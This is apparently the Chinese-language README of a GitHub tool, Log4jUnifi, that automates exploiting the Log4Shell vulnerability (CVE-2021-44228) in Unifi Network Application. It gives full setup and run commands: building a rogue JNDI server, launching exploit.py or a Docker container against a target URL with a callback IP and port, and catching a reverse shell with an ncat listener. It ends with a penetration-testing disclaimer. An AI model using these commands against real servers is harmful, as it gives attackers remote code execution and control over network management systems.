在 Unifi Network Application 中利用 CVE-2021-44228 实现远程代码执行等。
针对此漏洞的概念验证代码分散且需要手动执行。本仓库自动化了利用过程。关于后渗透的指导,请参阅上面的博客文章。
本仓库可手动使用或通过 Docker 使用。
要手动下载并运行利用程序,请执行以下步骤。首先,确保攻击主机上已安装 Java 和 Maven。在基于 Debian 的操作系统上使用 apt 执行此操作,请运行以下命令:
apt update && apt install openjdk-11-jre maven
克隆 GitHub 仓库并安装所有 Python 依赖:
git clone --recurse-submodules https://github.com/puzzlepeaches/Log4jUnifi \
&& cd Log4jUnifi && pip3 install -r requirements.txt
在 Log4jUnifi 仓库根目录下,使用以下命令编译 Rogue-Jndi 项目:
mvn package -f utils/rogue-jndi/
首先,确保攻击主机上已安装 Docker。(我不会指导你如何安装)
然后,执行以下命令克隆仓库并构建我们将使用的 Docker 镜像。
git clone --recurse-submodules https://github.com/puzzlepeaches/Log4jUnifi \
&& cd Log4jUnifi && docker build -t log4junifi .
要运行容器,请执行类似以下命令并附加你的命令行参数。注意,容器不会捕获反弹 shell。你需要在单独的 shell 会话中创建一个 ncat 监听器:
docker run -it -v $(pwd)/loot:/Log4jUnifi/loot -p 8090:8090 -p 1389:1389 log4junifi \
-u https://unifi.acme.com:8443 -i 192.168.1.1 -p 4444
usage: exploit.py [-h] -u URL -i CALLBACK -p PORT
optional arguments:
-h, --help show this help message and exit
-u URL, --url URL Unifi Network Manager base URL
-i CALLBACK, --ip CALLBACK
Callback IP for payload delivery and reverse shell.
-p PORT, --port PORT Callback port for reverse shell.
使用本地系统上安装的工具获取反弹 shell:
python3 exploit.py -u https://unifi.acme.com:8443 -i 10.10.10.1 -p 4444
此工具设计用于渗透测试;未经双方事先同意即使用此工具攻击目标是违法的。最终用户有责任遵守所有适用的地方、州和联邦法律。开发者不承担任何责任,也不对任何滥用此程序的行为负责。